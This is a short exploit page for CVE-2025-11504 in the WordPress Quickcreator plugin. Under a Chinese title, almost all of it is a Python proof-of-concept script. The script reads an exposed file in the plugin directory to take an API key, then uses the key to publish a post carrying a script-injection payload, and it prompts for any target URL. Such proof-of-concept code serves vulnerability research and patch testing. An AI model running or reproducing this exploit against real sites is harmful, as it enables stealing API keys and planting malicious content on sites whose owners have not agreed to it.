CVE-2025-11504 WordPress Quickcreator插件敏感信息泄露漏洞

import requests # CVE-2025-11504 PoC - Quickcreator Plugin Sensitive Information Exposure # Target: WordPress site with Quickcreator plugin <= 0.1.17 def exploit_cve_2025_11504(target_url): """ Exploit for CVE-2025-11504 This PoC demonstrates the information disclosure vulnerability """ # Step 1: Access the exposed file to retrieve API key exposed_file_url = f"{target_url}/wp-content/plugins/quickcreator/dupasrala.txt" try: response = requests.get(exposed_file_url, timeout=10) if response.status_code == 200: print(f"[+] Successfully accessed exposed file") print(f"[+] File content:") print(response.text) # Extract API key from response api_key = response.text.strip() # Step 2: Use the API key to create a malicious post create_post_url = f"{target_url}/wp-json/quickcreator/v1/posts" headers = { 'Authorization': f'Bearer {api_key}', 'Content-Type': 'application/json' } # Malicious payload for XSS injection post_data = { 'title': 'Malicious Post via Stolen API Key', 'content': '<script>alert("XSS via CVE-2025-11504")</script>', 'status': 'publish' } create_response = requests.post(create_post_url, json=post_data, headers=headers) if create_response.status_code in [200, 201]: print("[+] Successfully created malicious post with XSS payload") else: print(f"[-] Post creation failed: {create_response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = input("Enter target URL (e.g., http://example.com): ") exploit_cve_2025_11504(target)